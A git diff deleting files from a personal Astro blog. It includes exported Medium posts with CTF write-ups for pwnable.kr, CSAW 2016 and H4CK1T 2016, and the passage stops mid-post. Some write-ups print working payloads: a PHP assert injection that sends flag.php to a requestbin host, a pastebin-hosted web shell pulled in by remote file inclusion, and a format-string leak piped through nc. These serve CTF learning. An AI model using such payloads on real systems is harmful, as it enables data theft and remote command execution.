-        for (const entry of entries) {
-          const target = entry.target;
-          const slug = reverseHeadingMap.get(target);
-          const link = linkMap.get(slug);
-          const associatedEls = visibleElements.get(slug);
-
-          if (entry.isIntersecting) {
-            // if it wasn't previously visible
-            // let's make the link active
-            if (associatedEls.size === 0) {
-              link.parentNode.classList.add("active");
-            }
-
-            associatedEls.add(target);
-          } else {
-            // if it was previously visible
-            // check if it's the last element
-            if (associatedEls.size > 0) {
-              if (associatedEls.size === 1) link.parentNode.classList.remove("active");
-            }
-
-            if (associatedEls.size > 0) {
-              associatedEls.delete(target);
-            }
-
-            ratioMap.delete(target);
-          }
-        }
-      });
-
-      const postContentEl = document.getElementById("post-content");
-
-      let belongsTo;
-      for (const child of postContentEl.children) {
-        if (headingTags.has(child.tagName.toLowerCase())) {
-          belongsTo = child.id;
-        }
-
-        if (belongsTo) {
-          const headingSet = headingsMap.get(belongsTo);
-          headingSet.add(child);
-          reverseHeadingMap.set(child, belongsTo);
-        }
-      }
-
-      [...headingsMap.values()]
-        .flatMap((x) => [...x])
-        .forEach((x) => {
-          observer.observe(x);
-        });
-    });
-  }
-</script>

src/consts.ts

@@ -1,5 +0,0 @@
-// Place any global data in this file.
-// You can import this data from anywhere in your site by using the `import` keyword.
-
-export const SITE_TITLE = "Michael's Blog";
-export const SITE_DESCRIPTION = "Michael's Blog";

src/content/config.ts

@@ -1,34 +0,0 @@
-import { defineCollection, z } from "astro:content";
-
-const posts = defineCollection({
-  type: "content",
-
-  // Type-check frontmatter using a schema
-  schema: ({ image }) =>
-    z.object({
-      title: z.string(),
-      date: z.date(),
-
-      // Transform string to Date object
-      pubDate: z
-        .string()
-        .or(z.date())
-        .transform((val) => new Date(val))
-        .optional(),
-      updatedDate: z
-        .string()
-        .optional()
-        .transform((str) => (str ? new Date(str) : undefined))
-        .optional(),
-
-      heroImage: image().optional(),
-      heroAlt: z.string().optional(),
-
-      tags: z.array(z.string()).default([]),
-      draft: z.boolean().default(false),
-      math: z.boolean().default(false),
-      toc: z.boolean().default(false),
-    }),
-});
-
-export const collections = { posts };

src/content/partials/shortBio.md

@@ -1,5 +0,0 @@
-I'm a computer science master's student at the [University of Minnesota][1], advised by [Favonia].
-My current research is in programming languages and formal methods, specifically cubical type theory and synthetic homotopy theory.
-
-[1]: https://twin-cities.umn.edu/
-[favonia]: https://favonia.org/

src/content/posts/2014-12-28_How-to-accomplish-something.md

@@ -1,31 +0,0 @@
----
-title: How to accomplish something.
-date: 2014-12-28T06:18:06.940Z
-tags: [medium-blog]
----
-
-<article class="h-entry">
-    <section data-field="subtitle" class="p-summary">
-        It’s really simple.
-    </section>
-    <section data-field="body" class="e-content">
-        <section name="d840" class="section section--body section--first section--last">
-            <div class="section-content">
-                <div class="section-inner sectionLayout--insetColumn">
-                    <p name="c074" id="c074" class="graf graf--p graf-after--h3">Don’t.</p>
-                    <p name="8add" id="8add" class="graf graf--p graf-after--p">Give.</p>
-                    <p name="2290" id="2290" class="graf graf--p graf-after--p">Up.</p>
-                    <p name="6014" id="6014" class="graf graf--p graf-after--p graf--trailing">Simple.</p>
-                </div>
-            </div>
-        </section>
-    </section>
-    <footer>
-        <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
-                href="https://medium.com/p/f5c2ca623a76"><time class="dt-published"
-                    datetime="2014-12-28T06:18:06.940Z">December 28, 2014</time></a>.</p>
-        <p><a href="https://medium.com/@failedxyz/how-to-accomplish-something-f5c2ca623a76"
-                class="p-canonical">Canonical link</a></p>
-        <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
-    </footer>
-</article>

src/content/posts/2015-03-19_A-Much-Needed-Apology.md

@@ -1,74 +0,0 @@
----
-title: A Much-Needed Apology
-date: 2015-03-19T23:34:26.674Z
-tags: [medium-blog]
----
-
-<article class="h-entry">
-  <section data-field="body" class="e-content">
-    <section name="276e" class="section section--body section--first section--last">
-      <div class="section-content">
-        <div class="section-inner sectionLayout--insetColumn">
-          <p name="cbee" id="cbee" class="graf graf--p graf-after--h3">If you’re participating in CTCTF this week, I
-            know it has been a hard week, and I have a huge apology to make, about several things.</p>
-          <p name="aa08" id="aa08" class="graf graf--p graf-after--p">I should not have helped out with this CTF. I
-            didn’t have much time to work on it, I was busy with school, and it really wasn’t a good time for me to be
-            doing it. However, I was really stupid so I decided to jump in anyway.</p>
-          <p name="def7" id="def7" class="graf graf--p graf-after--p"><strong
-              class="markup--strong markup--p-strong">If you’re in a rush, and you don’t care about all this stuff,
-              skip down to the bottom for the final hint.</strong></p>
-          <h4 name="dae6" id="dae6" class="graf graf--h4 graf-after--p">Backend</h4>
-          <p name="a52e" id="a52e" class="graf graf--p graf-after--h4">The website backend problems were completely my
-            fault. Things like the problems page saying your problem was unsolved when you actually received points
-            for it, or not being able to submit answers for problems because it said “You’ve already tried this.” Part
-            of this was not havingenough time to thoroughly test the server and catch all the problems.</p>
-          <h4 name="a9f0" id="a9f0" class="graf graf--h4 graf-after--p">IRC</h4>
-          <p name="6939" id="6939" class="graf graf--p graf-after--h4">This really isn’t my problem. But I’ll address
-            it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and
-            does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features
-            including:</p>
-          <ul class="postList">
-            <li name="c5b2" id="c5b2" class="graf graf--li graf-after--p">Authentication — people just stole other
-              people’s usernames.</li>
-            <li name="379e" id="379e" class="graf graf--li graf-after--li">Operators — we lost all ops in the original
-              channel <em class="markup--em markup--li-em">and</em> the new channel.</li>
-            <li name="033c" id="033c" class="graf graf--li graf-after--li">Connection issues—we got lots of ECONNRESET
-              issues with KiwiIRC.</li>
-          </ul>
-          <h4 name="dd66" id="dd66" class="graf graf--h4 graf-after--li">Problems</h4>
-          <p name="1114" id="1114" class="graf graf--p graf-after--h4">I don’t know what to say about this. I urged
-            the other team members to shorten the duration of the competition to 3 days, but they wouldn’t budge, so
-            we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of
-            them in an hour.</p>
-          <p name="e3aa" id="e3aa" class="graf graf--p graf-after--p">We weren’t even going to use 1023megabytes
-            originally. But because of the immediate lack of problems, I figured we would need it.</p>
-          <p name="ebdb" id="ebdb" class="graf graf--p graf-after--p">When the competition started, there were only 18
-            questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If you’re running a competition,
-            you’d want to keep your participants’ interests as long as possible; there’s no point if everyone quits
-            after a day — which is basically what happened.</p>
-          <p name="6d7d" id="6d7d" class="graf graf--p graf-after--p">I figured the purpose of creating such an
-            insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the
-            verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the
-            last one.</p>
-          <h4 name="110a" id="110a" class="graf graf--h4 graf-after--p">Hints</h4>
-          <p name="a74e" id="a74e" class="graf graf--p graf-after--h4">This is the final hint for “3 hard 3 me”: base
-            16, base 2, base 3.</p>
-          <p name="25ea" id="25ea" class="graf graf--p graf-after--p">For 1023megabytes, you probably already made
-            some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and
-            the flag will be on a userpage.</p>
-          <p name="a67a" id="a67a" class="graf graf--p graf-after--p graf--trailing">I feel like I owe this to
-            everyone for a bad competition and hope you forgive me for all these mistakes. They won’t happen again. I
-            guess I’ll see you guys at the next CTF.</p>
-        </div>
-      </div>
-    </section>
-  </section>
-  <footer>
-    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
-        href="https://medium.com/p/8f50537a8932"><time class="dt-published" datetime="2015-03-19T23:34:26.674Z">March
-          19, 2015</time></a>.</p>
-    <p><a href="https://medium.com/@failedxyz/a-much-needed-apology-8f50537a8932" class="p-canonical">Canonical
-        link</a></p>
-    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
-  </footer>
-</article>

src/content/posts/2015-10-20_Pwnable-kr--fd--1.md

@@ -1,44 +0,0 @@
----
-title: "Pwnable.kr: fd (1)"
-date: 2015-10-20T18:20:38.431Z
-tags: [medium-blog]
----
-
-<article class="h-entry">
-  <section data-field="body" class="e-content">
-    <section name="1d23" class="section section--body section--first section--last">
-      <div class="section-content">
-        <div class="section-inner sectionLayout--insetColumn">
-          <p name="ec7e" id="ec7e" class="graf graf--p graf-after--h3">This is my first writeup. The problem reads:
-          </p>
-          <blockquote name="b33e" id="b33e" class="graf graf--blockquote graf-after--p">Mommy! what is a file
-            descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</blockquote>
-          <p name="0cc2" id="0cc2" class="graf graf--p graf-after--blockquote">Since it tells us to SSH to their
-            server, we’ll do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag,
-            the target file we are trying to read, but is currently protected by root. Let’s begin by analyzing fd.c.
-          </p>
-          <p name="3ba1" id="3ba1" class="graf graf--p graf-after--p">At the if statement, the program is checking buf
-            against the string LETMEWIN. Where is buf being read? It’s being read from a variable called fd, which is
-            a <a href="https://en.wikipedia.org/wiki/File_descriptor"
-              data-href="https://en.wikipedia.org/wiki/File_descriptor" class="markup--anchor markup--p-anchor"
-              rel="noopener" target="_blank"><strong class="markup--strong markup--p-strong">file
-                descriptor</strong></a>. Since the only way we can give input to the program is STDIN_FILENO, we have
-            to make sure fd is set to 0.</p>
-          <p name="a905" id="a905" class="graf graf--p graf-after--p">According to the code, fd is calculated by atoi(
-            argv[1] ) — 0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal.
-            To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for
-            input. Now we just enter LETMEWIN, and it should print out the flag :)</p>
-          <blockquote name="8dca" id="8dca" class="graf graf--blockquote graf-after--p graf--trailing">mommy! I think
-            I know what a file descriptor is!!</blockquote>
-        </div>
-      </div>
-    </section>
-  </section>
-  <footer>
-    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
-        href="https://medium.com/p/f9b66ed3a312"><time class="dt-published"
-          datetime="2015-10-20T18:20:38.431Z">October 20, 2015</time></a>.</p>
-    <p><a href="https://medium.com/@failedxyz/pwnable-kr-fd-1-f9b66ed3a312" class="p-canonical">Canonical link</a></p>
-    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
-  </footer>
-</article>

src/content/posts/2016-09-07_So--I-started-a-blog.md

@@ -1,34 +0,0 @@
----
-title: So. I started a blog.
-date: 2016-09-07T20:18:04.000Z
-tags: [medium-blog]
----
-
-<article class="h-entry">
-  <section data-field="body" class="e-content">
-    <section name="3307" class="section section--body section--first section--last">
-      <div class="section-content">
-        <div class="section-inner sectionLayout--insetColumn">
-          <p name="d54d" id="d54d" class="graf graf--p graf-after--h3">Hi. I’m Michael, a college freshman at the
-            University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF)
-            competitions! I might be posting more about those here.</p>
-          <p name="138d" id="138d" class="graf graf--p graf-after--p">I’ll use this space to rant about life. And post
-            CTF writeups too (maybe).</p>
-          <p name="2f45" id="2f45" class="graf graf--p graf-after--p graf--trailing">I’m really trying to change my
-            study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day
-            isn’t going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the
-            morning is even easier than getting things done at night for me. Only problem is the waking up part. I’ll
-            try it for a couple weeks and I’ll let you guys know how it goes.</p>
-        </div>
-      </div>
-    </section>
-  </section>
-  <footer>
-    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
-        href="https://medium.com/p/f2d0db8a955d"><time class="dt-published"
-          datetime="2016-09-07T20:18:04.000Z">September 7, 2016</time></a>.</p>
-    <p><a href="https://medium.com/@failedxyz/so-i-started-a-blog-f2d0db8a955d" class="p-canonical">Canonical link</a>
-    </p>
-    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
-  </footer>
-</article>

src/content/posts/2016-09-18_CSAW-CTF-2016-Quals.md

@@ -1,98 +0,0 @@
----
-title: CSAW CTF 2016 Quals
-date: 2016-09-18T23:04:12.000Z
-tags: [medium-blog]
----
-
-<article class="h-entry">
-  <section data-field="body" class="e-content">
-    <section name="81bc" class="section section--body section--first section--last">
-      <div class="section-content">
-        <div class="section-inner sectionLayout--insetColumn">
-          <p name="3250" id="3250" class="graf graf--p graf-after--h3">Over the weekend, I worked with the team
-            Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to
-            document the problems that I solved during the competition.</p>
-          <h3 name="74cf" id="74cf" class="graf graf--h3 graf-after--p">Coinslot</h3>
-          <p name="7bae" id="7bae" class="graf graf--p graf-after--h3">For 25 points, the objective of this problem is
-            to output which coins/bills are needed for a given amount of money. When you connect to the server, it
-            will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To
-            do this, I wrote a Python client to interact with the server.</p>
-          <pre name="7d34" id="7d34"
-            class="graf graf--pre graf-after--p">import socket<br>s = socket.socket()<br>s.connect((“misc.chal.csaw.io”, 8000))</pre>
-          <pre name="8c45" id="8c45"
-            class="graf graf--pre graf-after--pre">def recv(end=’\n’):<br>    c, t = ‘’, ‘’<br>    while c != end:<br>    c = s.recv(1)<br>    t += c<br>    return t</pre>
-          <p name="79eb" id="79eb" class="graf graf--p graf-after--pre">This code will open a connection to the server
-            and read input until a certain character is reached. The algorithm for this problem is rather simple;
-            starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the
-            denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then
-            subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
-          </p>
-          <pre name="8793" id="8793"
-            class="graf graf--pre graf-after--p">r = recv()<br>amt = int(r.strip(“$”).strip().replace(“.”, “”))<br>print amt<br>for denom in denoms:<br>    n = amt // denom<br>    s.send(“%d\n” % n)<br>    amt %= denom<br>recv()</pre>
-          <p name="2a5d" id="2a5d" class="graf graf--p graf-after--pre">Upon success, the server will then ask another
-            amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a <code
-              class="markup--code markup--p-code">while True</code> loop and eventually I got the flag.</p>
-          <h3 name="bc76" id="bc76" class="graf graf--h3 graf-after--p">mfw</h3>
-          <p name="0e1b" id="0e1b" class="graf graf--p graf-after--h3">In this challenge we were presented with a site
-            with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
-            Bootstrap. Upon seeing git, I immediately thought to check if the <code
-              class="markup--code markup--p-code">.git</code> folder was actually stored in the www root, and it was!
-            I ripped the git folder off the site and cloned it to restore the original folder structure.</p>
-          <p name="34a9" id="34a9" class="graf graf--p graf-after--p">There was a <code
-              class="markup--code markup--p-code">flag.php</code> in the templates folder, but the actual flag was
-            missing. That means I had to retrieve the flag from the actual server.</p>
-          <p name="c3f9" id="c3f9" class="graf graf--p graf-after--p">From the way the navigation bar was constructed,
-            it looks like I need to use local file inclusion. But I couldn’t use php’s <code
-              class="markup--code markup--p-code">base64</code> filter to print the contents of <code
-              class="markup--code markup--p-code">flag.php</code> because the <code
-              class="markup--code markup--p-code">$file</code> variable will stick ”templates/” to the front of the
-            given page before it’s <code class="markup--code markup--p-code">require_once</code>’d.</p>
-          <p name="c2bf" id="c2bf" class="graf graf--p graf-after--p">The trick to solving this one is injecting PHP
-            commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
-            I made a <a href="http://requestb.in" data-href="http://requestb.in"
-              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">requestbin</a> that I would make
-            a GET request to, containing the contents of <code class="markup--code markup--p-code">flag.php</code>!
-          </p>
-          <p name="61df" id="61df" class="graf graf--p graf-after--p">The page I requested was:</p>
-          <pre name="8255" id="8255"
-            class="graf graf--pre graf-after--p">http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27</pre>
-          <p name="80fb" id="80fb" class="graf graf--p graf-after--pre">Un-URL encoded, this looks like:</p>
-          <pre name="4d99" id="4d99"
-            class="graf graf--pre graf-after--p">flag’ + fopen(‘http://requestb.in/1l5k31z1?p=&#39; . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘</pre>
-          <p name="e3c2" id="e3c2" class="graf graf--p graf-after--pre">As you can see, I’m reading the contents of
-            <code class="markup--code markup--p-code">flag.php</code>, URL-encoding it, and sending it to this
-            requestbin. This way, I can retrieve it from the requestbin later.
-          </p>
-          <h3 name="1a12" id="1a12" class="graf graf--h3 graf-after--p">Gametime</h3>
-          <p name="b5b0" id="b5b0" class="graf graf--p graf-after--h3">I got this close to the end of the competition,
-            but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will
-            think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it
-            on a server, this means I could just patch the binary file and re-run it.</p>
-          <p name="5875" id="5875" class="graf graf--p graf-after--p">I opened the exe in IDA, and used Alt+T to
-            search for <code class="markup--code markup--p-code">UDDER FAILURE</code>, the string it prints when you
-            fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
-            actual thing.</p>
-          <p name="3165" id="3165" class="graf graf--p graf-after--p">In both instances, right above where it prints
-            <code class="markup--code markup--p-code">UDDER FAILURE</code>, there is a <code
-              class="markup--code markup--p-code">jnz</code> that checks if the key you pressed was right. More
-            specifically, this occurs at <code class="markup--code markup--p-code">004014D5</code> and <code
-              class="markup--code markup--p-code">00401554</code>. To invert the condition, I had to change <code
-              class="markup--code markup--p-code">jnz</code> to <code class="markup--code markup--p-code">jz</code>.
-            In opcodes, that’s <code class="markup--code markup--p-code">75</code> and <code
-              class="markup--code markup--p-code">74</code>.
-          </p>
-          <p name="b409" id="b409" class="graf graf--p graf-after--p graf--trailing">Then I just ran the program
-            again, and waited for it to pass all the checks, and I got the flag!</p>
-        </div>
-      </div>
-    </section>
-  </section>
-  <footer>
-    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
-        href="https://medium.com/p/f9c51dffa34"><time class="dt-published"
-          datetime="2016-09-18T23:04:12.000Z">September 18, 2016</time></a>.</p>
-    <p><a href="https://medium.com/@failedxyz/csaw-ctf-2016-quals-f9c51dffa34" class="p-canonical">Canonical link</a>
-    </p>
-    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
-  </footer>
-</article>

src/content/posts/2016-10-02_H4CK1T-CTF-2016.md

@@ -1,186 +0,0 @@
----
-title: H4CK1T CTF 2016
-date: 2016-10-02T20:46:42.000Z
-tags: [medium-blog]
----
-
-<article class="h-entry">
-  <section data-field="body" class="e-content">
-    <section name="efb5" class="section section--body section--first section--last">
-      <div class="section-content">
-        <div class="section-inner sectionLayout--insetColumn">
-          <p name="1568" id="1568" class="graf graf--p graf-after--h3">Over the past week, I again worked with Gophers
-            in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
-            Here are some of my writeups.</p>
-          <h3 name="6a51" id="6a51" class="graf graf--h3 graf-after--p">Algeria (250)</h3>
-          <p name="dab1" id="dab1" class="graf graf--p graf-after--h3">In this task we are given an encrypted image as
-            well as the encryption script. The script looks like this (condensed):</p>
-          <pre name="7b4d" id="7b4d"
-            class="graf graf--pre graf-after--p">x = random.randint(1,255)<br>y = random.randint(1,255)</pre>
-          <pre name="4540" id="4540"
-            class="graf graf--pre graf-after--pre">img_pix.putpixel((0,0),(len(FLAG),x,y))</pre>
-          <pre name="636c" id="636c"
-            class="graf graf--pre graf-after--pre">for l in FLAG:<br>    x1 = random.randint(1,255)<br>    y1 = random.randint(1,255)<br>    img_pix.putpixel((x,y),(ord(l),x1,y1))<br>    x = x1<br>    y = y1</pre>
-          <pre name="5375" id="5375" class="graf graf--pre graf-after--pre">img_pix.save(‘encrypted.png’)</pre>
-          <p name="f59f" id="f59f" class="graf graf--p graf-after--pre">It seems that each character of the flag is
-            placed at random points in the encrypted image. Fortunately, each character also comes with the
-            coordinates of the next character. To solve the challenge, we just write a reversing script.</p>
-          <pre name="61b5" id="61b5"
-            class="graf graf--pre graf-after--p">FLAG = “”<br>img = Image.open(“encrypted.png”)<br>img_pix = img.convert(“RGB”)</pre>
-          <pre name="bd59" id="bd59"
-            class="graf graf--pre graf-after--pre">FLAG_LEN, x, y = img_pix.getpixel((0, 0))<br>for i in range(FLAG_LEN — 1):<br>    c, x, y = img_pix.getpixel((x, y))<br>    FLAG += chr(c)</pre>
-          <pre name="cd1f" id="cd1f" class="graf graf--pre graf-after--pre">print FLAG</pre>
-          <p name="d169" id="d169" class="graf graf--p graf-after--pre">The flag is <code
-              class="markup--code markup--p-code">h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}</code>.</p>
-          <h3 name="e98b" id="e98b" class="graf graf--h3 graf-after--p">Argentina (100)</h3>
-          <p name="dbc4" id="dbc4" class="graf graf--p graf-after--h3">I’m guessing the point of this problem was for
-            you to go through the network data and look for the right packets, but I just used <code
-              class="markup--code markup--p-code">strings</code>.</p>
-          <pre name="4678" id="4678"
-            class="graf graf--pre graf-after--p">$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t<br>PASS h4ck1t{i_G07_ur_f1l3s}</pre>
-          <p name="5407" id="5407" class="graf graf--p graf-after--pre">The flag is <code
-              class="markup--code markup--p-code">h4ck1t{i_G07_ur_f1l3s}</code>.</p>
-          <h3 name="d1f6" id="d1f6" class="graf graf--h3 graf-after--p">Brazil (100)</h3>
-          <p name="d93e" id="d93e" class="graf graf--p graf-after--h3">In this challenge, we get a ZIP full of random
-            files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
-            to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.</p>
-          <p name="ccd5" id="ccd5" class="graf graf--p graf-after--p">There are many tools out there that can help
-            open this type of file. I used <a href="https://thumbsviewer.github.io"
-              data-href="https://thumbsviewer.github.io" class="markup--anchor markup--p-anchor" rel="noopener"
-              target="_blank">Thumbs Viewer</a>. Either way, the flag is the name of one of the thumbnails, <code
-              class="markup--code markup--p-code">h4ck1t{75943a3ca2223076e997fe30e17597d4}</code>.</p>
-          <h3 name="7d4a" id="7d4a" class="graf graf--h3 graf-after--p">Canada (300)</h3>
-          <p name="4a27" id="4a27" class="graf graf--p graf-after--h3">I don’t think I did this the intended way, but
-            we were given a binary that apparently produces an output file. But I just did</p>
-          <pre name="62cc" id="62cc"
-            class="graf graf--pre graf-after--p">$ strings parse | grep h4ck1t<br> to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime</pre>
-          <p name="500e" id="500e" class="graf graf--p graf-after--pre">The flag is <code
-              class="markup--code markup--p-code">h4ck1t{T0mmy_g0t_h1s_Gun}</code>.</p>
-          <h3 name="5532" id="5532" class="graf graf--h3 graf-after--p">China (150)</h3>
-          <p name="5d82" id="5d82" class="graf graf--p graf-after--h3">This one was rather annoying. When you first
-            open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
-            binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
-            to the end of it.</p>
-          <p name="d14c" id="d14c" class="graf graf--p graf-after--p">At that point, I just <code
-              class="markup--code markup--p-code">binwalk</code>’d the PNG and extracted the ZIP, leading me to <code
-              class="markup--code markup--p-code">flag.txt</code>, containing the flag, <code
-              class="markup--code markup--p-code">h4ck1t{rtf_d0cs_4r3_awesome}</code>.</p>
-          <h3 name="d060" id="d060" class="graf graf--h3 graf-after--p">Chile (100)</h3>
-          <p name="2e87" id="2e87" class="graf graf--p graf-after--h3">We’re told to connect to <code
-              class="markup--code markup--p-code">91.231.84.36:9001</code>. When we connect, we are greeted with a
-            prompt: <code class="markup--code markup--p-code">wanna see?</code></p>
-          <p name="bfaf" id="bfaf" class="graf graf--p graf-after--p">It seems that the program will print back
-            whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
-            <code class="markup--code markup--p-code">printf(input)</code> where <code
-              class="markup--code markup--p-code">input</code> is the user input, then putting format symbols into our
-            input will cause the program to start reading off the stack.
-          </p>
-          <p name="91c7" id="91c7" class="graf graf--p graf-after--p">There was probably a better way to do it, but
-            essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!</p>
-          <pre name="423e" id="423e"
-            class="graf graf--pre graf-after--p">failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001<br>wanna see?<br>ok, so…<br>0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-</pre>
-          <p name="92bf" id="92bf" class="graf graf--p graf-after--pre">If you get rid of the <code
-              class="markup--code markup--p-code">(nil)</code>s and reverse the string (remember endianness), then you
-            should eventually arrive at the flag, which is <code
-              class="markup--code markup--p-code">h4ck1t{d1D_Y0u_5Ee_7hA7??7}</code>.</p>
-          <h3 name="5a4b" id="5a4b" class="graf graf--h3 graf-after--p">Germany (200)</h3>
-          <p name="7699" id="7699" class="graf graf--p graf-after--h3">In this problem, we are given a dump of some
-            Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
-            folder. More specifically, the transmission of information happens over Skype, so I looked in <code
-              class="markup--code markup--p-code">AppData\Roaming\Skype\live#3aames.aldrich</code>.</p>
-          <p name="e494" id="e494" class="graf graf--p graf-after--p"><code
-              class="markup--code markup--p-code">main.db</code> kinda stuck out, so I opened that first. It was an
-            SQLite database of a bunch of different Skype data. I ended up finding the flag in the <code
-              class="markup--code markup--p-code">Contacts</code> table, in the row containing the user <code
-              class="markup--code markup--p-code">zog black</code>, under <code
-              class="markup--code markup--p-code">province</code> and <code
-              class="markup--code markup--p-code">city</code> columns apparently. The flag was <code
-              class="markup--code markup--p-code">h4ck1t{87e2bc9573392d5f4458393375328cf2}</code>.</p>
-          <h3 name="16a6" id="16a6" class="graf graf--h3 graf-after--p">Mexico (150)</h3>
-          <p name="5e37" id="5e37" class="graf graf--p graf-after--h3">If you click around the navigation bar of the
-            website, you’ll notice that the pages are loaded by <code
-              class="markup--code markup--p-code">index.php?page=example</code>. It probably includes pages through
-            some naive include function without any sanitation, although it appends <code
-              class="markup--code markup--p-code">.php</code> to the end of the filename.</p>
-          <p name="8bdd" id="8bdd" class="graf graf--p graf-after--p">To bypass this, we just stick a <code
-              class="markup--code markup--p-code">%00</code> null character to the end of our URL. Then PHP stops
-            reading when it hits that and won’t append <code class="markup--code markup--p-code">.php</code> after the
-            file. But what file can we include to find the flag?</p>
-          <p name="a0e1" id="a0e1" class="graf graf--p graf-after--p">It occurred to me that if we could include any
-            file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
-            included looks like this:</p>
-          <pre name="cd28" id="cd28"
-            class="graf graf--pre graf-after--p">if (isset($_GET[‘cmd’]))<br> echo system($_GET[‘cmd’]);<br>?&gt;</pre>
-          <p name="4372" id="4372" class="graf graf--p graf-after--pre">Stick that in a pastebin or something, and
-            then include it in your URL like this:</p>
-          <pre name="5f6d" id="5f6d"
-            class="graf graf--pre graf-after--p">http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00</pre>
-          <p name="e164" id="e164" class="graf graf--p graf-after--pre">Now you can execute shell commands from the
-            URL. Doing an <code class="markup--code markup--p-code">ls</code> on the current directory reveals a file
-            called <code class="markup--code markup--p-code">sup3r_$3cr3t_f1le.php</code>. If you <code
-              class="markup--code markup--p-code">cat sup3r*</code> then you should be able to get the flag: <code
-              class="markup--code markup--p-code">h4ck1t{g00d_rfi_its_y0ur_fl@g}</code>.</p>
-          <h3 name="4b38" id="4b38" class="graf graf--h3 graf-after--p">Mongolia (100)</h3>
-          <p name="e011" id="e011" class="graf graf--p graf-after--h3">In this problem we are asked to connect to
-            <code class="markup--code markup--p-code">ctf.com.ua:9988</code> and solve math problems. We told <code
-              class="markup--code markup--p-code">C = A ^ B</code> and then given C, we are asked to find A and B.
-            Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
-            good idea.
-          </p>
-          <p name="486d" id="486d" class="graf graf--p graf-after--p">The algorithm we used was to prime-factorize C,
-            and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
-            2 appeared more than once, we multiply it twice into A, rather than making B twice as large.</p>
-          <p name="2a7c" id="2a7c" class="graf graf--p graf-after--p">We used the Sieve of Atkin to generate a list of
-            primes up to 10,000,000 (although we probably didn’t need that many), and stored it into <code
-              class="markup--code markup--p-code">primes.txt</code>. The final program looks like this:</p>
